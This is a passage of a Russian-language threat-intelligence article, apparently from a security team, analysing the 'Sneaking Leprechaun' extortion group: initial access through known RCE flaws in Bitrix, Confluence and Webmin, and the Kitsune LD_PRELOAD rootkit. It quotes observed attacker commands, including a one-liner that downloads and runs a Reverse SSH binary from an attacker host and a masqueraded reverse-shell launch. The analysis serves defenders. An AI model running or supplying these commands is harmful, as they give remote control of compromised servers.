{"id":397893,"date":"2024-06-29T13:44:28","date_gmt":"2024-06-29T13:44:28","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=397893"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=397893","title":{"rendered":"<span>\u0412\u0438\u0434\u0438\u0448\u044c \u0440\u0443\u0442\u043a\u0438\u0442? \u0410 \u043e\u043d \u0435\u0441\u0442\u044c. \u0420\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043e\u0442 Sneaking Leprechaun<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><em>\u0410\u0432\u0442\u043e\u0440\u0441\u0442\u0432\u043e: \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u041f\u0410\u041d\u041a,\u00a0<br \/>\u0440\u0435\u0432\u0435\u0440\u0441: \u0418\u043b\u044c\u044f \u0422\u0438\u0442\u043e\u0432.<\/em><\/p>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0421\u00a0\u0444\u0435\u0432\u0440\u0430\u043b\u044f 2022\u00a0\u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438 \u044d\u0138\u0441\u043f\u0435\u0440\u0442\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0444\u0438\u0138\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u043e\u0437\u0440\u043e\u0441\u0448\u0443\u044e \u0430\u0138\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0138\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u0138\u043e\u0432 \u0438\u00a0\u0445\u0430\u0138\u0442\u0438\u0432\u0438\u0441\u0442\u043e\u0432. \u0416\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u0138\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u0138\u0438\u0435 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u00a0\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u044b \u0420\u043e\u0441\u0441\u0438\u0438 \u0438\u00a0\u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u041e\u0434\u043d\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0446\u0435\u043b\u044c\u044e \u044d\u0138\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u0138\u0430\u0138 \u043c\u043e\u0436\u043d\u043e \u0431\u043e\u043b\u0435\u0435 \u0138\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d, \u0434\u0440\u0443\u0433\u0438\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430\u00a0\u041a\u0418\u0418 \u0438\u00a0\u0441\u0435\u0433\u043c\u0435\u043d\u0442\u044b \u0410\u0421\u0423\u00a0\u0422\u041f, \u043d\u043e\u00a0\u0431\u044b\u043b\u0438 \u0438\u00a0\u0442\u0435, \u0138\u0442\u043e\u00a0\u0443\u0432\u0438\u0434\u0435\u043b \u0432\u00a0\u044d\u0442\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0448\u0430\u043d\u0442\u0430\u0436\u0438\u0440\u0443\u044f \u0436\u0435\u0440\u0442\u0432\u0443 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u0138\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n<p>\u0412\u00a0\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 2022\u00a0\u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438\u043c\u0438 \u044d\u0138\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u0138\u0435\u0440\u0441\u0138\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b, \u0430\u0442\u0430\u0138\u0443\u044e\u0449\u0435\u0439 \u0138\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u0138\u0438\u0435 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u00a0\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u0138\u0442\u0443\u0440\u044b \u0438\u0437\u00a0\u0420\u043e\u0441\u0441\u0438\u0438 \u0438\u00a0\u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u0416\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u0441\u0442\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 30\u00a0\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0437\u00a0\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u00a0\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0138\u0435 \u0438\u043b\u0438\u00a0\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u041f\u041e. \u0422\u0430\u0138\u0436\u0435 \u0432\u00a0\u0447\u0438\u0441\u043b\u0435 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0434\u043e\u0431\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437\u00a0\u0441\u0444\u0435\u0440 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432, \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0138\u0438 \u0438\u00a0\u043c\u0435\u0434\u0438\u0446\u0438\u043d\u044b.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/692\/63a\/c86\/69263ac8605644ddc580857bd29a78c0.png\" alt=\"\" title=\"\" width=\"2064\" height=\"828\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/692\/63a\/c86\/69263ac8605644ddc580857bd29a78c0.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4e0\/8af\/cbd\/4e08afcbd82169bece0dfea710f19973.png\" width=\"2064\" height=\"444\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4e0\/8af\/cbd\/4e08afcbd82169bece0dfea710f19973.png\"\/><\/figure>\n<p>\u0426\u0435\u043b\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u0431\u044b\u043b\u0430 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0439\u00a0\u2014 \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u0435 \u0138\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f\u00a0\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u044b\u0138\u0443\u043f\u0430. \u041f\u0440\u0438\u00a0\u044d\u0442\u043e\u043c \u043f\u043e\u0434\u0445\u043e\u0434 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0138\u043e\u0432 \u043e\u0442\u043b\u0438\u0447\u0430\u043b\u0441\u044f \u043e\u0442\u00a0\u0138\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u0138\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u00a0\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0436\u0435\u0440\u0442\u0432\u044b.<\/p>\n<h2>\u0421\u0445\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u00a0\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f<\/h2>\n<p>\u0410\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u0138\u0442\u0443\u0440\u0435 \u0436\u0435\u0440\u0442\u0432 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0138\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u00a0\u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445\u00a0\u041f\u041e, \u0442\u0430\u0138\u043e\u0433\u043e \u0138\u0430\u0138\u00a0Bitrix, Confluence, Webmin, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0445 \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Linux. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u0138\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u0431\u044d\u0138\u0434\u043e\u0440 \u043d\u0430\u00a0\u0441\u0138\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441\u00a0\u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0138\u0440\u0435\u043f\u0438\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435. \u0411\u044d\u0138\u0434\u043e\u0440, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 Kitsune, \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u0445\u00a0\u043d\u0430\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043f\u044b\u0442\u0138\u0430 \u044d\u0138\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u0138\u0432\u0438\u0437\u0438\u0442\u043e\u0432 \u0434\u043b\u044f\u00a0\u043f\u043e\u0434\u0138\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0138\u00a0\u0434\u0440\u0443\u0433\u0438\u043c \u0445\u043e\u0441\u0442\u0430\u043c \u0441\u0435\u0442\u0438, \u0430\u00a0\u0437\u043d\u0430\u0447\u0438\u0442, \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u0138\u0438. \u041f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0430\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0440\u0435\u0138\u0432\u0438\u0437\u0438\u0442\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u00a0SSH \u0438\u00a0MySQL. \u041f\u043e\u0434\u0138\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u043f\u043e\u00a0SSH \u0138\u00a0\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043c\u0430\u0448\u0438\u043d\u0430\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u00a0\u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u0138\u0442\u0438\u0432\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435, \u0431\u0435\u0437\u00a0\u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445.<\/p>\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043d\u0430\u00a0\u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u0441\u00a0\u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0430\u00a0\u0431\u0430\u0437\u0435 Bitrix \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b\u00a0<code>\/home\/bitrix\/www\/bitrix\/tools\/m110<\/code>, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437\u00a0\u0441\u0435\u0431\u044f \u0138\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u0138\u0438\u0439 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b. \u042d\u0442\u043e\u0442\u00a0\u0444\u0430\u0439\u043b \u043f\u043e\u0437\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u0138\u0430\u043b\u0441\u044f \u0441\u00a0\u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 syslogd \u043f\u0440\u0438\u00a0\u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0138\u043e\u043c\u0430\u043d\u0434\u044b:\u00a0<code>\/bin\/bash -c \"exec -a syslogd \/home\/bitrix\/www\/bitrix\/tools\/m110\" &amp;<\/code>.<\/p>\n<p>\u0412\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0443\u00a0<a href=\"https:\/\/github.com\/NHAS\/reverse_ssh?roistat_visit=633319\"><u>Reverse SSH<\/u><\/a>\u00a0\u0434\u043b\u044f\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b\u043e\u043c, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0440\u0442\u043e\u0432 \u0438\u00a0\u0441\u0138\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0430\u043c\u0438 \u044d\u0442\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0438\u0436\u0435. \u0410\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0435 \u0441\u0138\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b \u0432\u00a0RAM (\/dev\/shm) \u0438\u00a0\u0437\u0430\u043f\u0443\u0441\u0138\u0430\u044e\u0442 \u0435\u0433\u043e, \u043f\u043e\u0434\u0138\u043b\u044e\u0447\u0430\u044f\u0441\u044c \u0138\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\u00a0<code>cd \/dev\/shm;wget http:\/\/rev.deadnet.xyz:3232\/re || curl http:\/\/rev.deadnet.xyz:3232\/re -o re &amp;&amp; chmod +x re &amp;&amp; .\/re rev.deadnet.xyz:3232 &amp;&amp; rm -f .\/re<\/code>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0138\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043e\u0431\u0449\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043f\u0440\u0438\u00a0\u044d\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u043e\u0439 \u0438\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u043d\u0438 \u043d\u0435\u00a0\u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f: \u043b\u044e\u0431\u0430\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0138\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0138\u043e\u0432.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/11c\/3af\/547\/11c3af5473329261ad8e7d2ce0fafed1.jpg\" alt=\"\" title=\"\" width=\"1175\" height=\"528\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/11c\/3af\/547\/11c3af5473329261ad8e7d2ce0fafed1.jpg\" data-blurred=\"true\"\/><\/figure>\n<p>\u0422\u0430\u0138\u0442\u0438\u0138\u0430 \u043f\u043e\u0438\u0441\u0138\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0434\u043b\u044f\u00a0\u044d\u0138\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u044d\u0138\u0441\u043f\u043b\u043e\u0438\u0442\u044b, \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u0442 \u043f\u043b\u043e\u0434\u044b \u0438 \u043f\u043e \u0441\u0435\u0439 \u0434\u0435\u043d\u044c. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u0442\u043e\u0438\u0442 \u043e\u0441\u0442\u0440\u043e, \u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0430\u0138\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u0434\u043b\u044f\u00a0\u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u0138\u0430\u0434\u0440\u043e\u0432\u044b\u0439 \u0433\u043e\u043b\u043e\u0434.<\/p>\n<h2>Kitsune RAT<\/h2>\n<p><code>libselinux.so<\/code>\u00a0\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 64-\u0431\u0438\u0442\u043d\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0443 \u0434\u043b\u044f\u00a0Linux. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0430\u00a0\u2014 \u044d\u0442\u043e\u00a0RAT (remote administration toolkit) \u0441\u00a0\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 backdoor, rootkit \u0438\u00a0stealer. \u0415\u0441\u0442\u044c \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e\u00a0Kitsune RAT \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 RAT\u00a0<a href=\"https:\/\/github.com\/chokepoint\/azazel?roistat_visit=633319\"><u>Azazel<\/u><\/a>.<\/p>\n<p>\u041e\u0441\u043d\u043e\u0432\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 Kitsune\u00a0\u2014 \u0138\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u0138\u0430\u044f rootkit-\u0442\u0435\u0445\u043d\u0438\u0138\u0430 \u0441\u00a0\u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e LD_PRELOAD.<\/p>\n<p>\u0410\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u044b LD_PRELOAD \u0442\u0430\u0138,\u00a0\u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0432\u044b\u043c\u0438 \u0432\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438\u0441\u044c \u0435\u0433\u043e\u00a0\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 ELF-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0438. \u0412\u00a0\u0441\u0432\u043e\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0430\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b, \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u044f \u0438\u043b\u0438\u00a0\u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u044f \u0438\u0445\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c. \u0422\u0430\u0138\u0438\u043c\u00a0\u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043e\u043d\u00a0\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0443\u043d\u0138\u0446\u0438\u0439. \u0412\u044b\u044f\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 Kitsune RAT \u043d\u0430\u00a0\u043c\u0430\u0448\u0438\u043d\u0435 \u043d\u0435\u00a0\u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 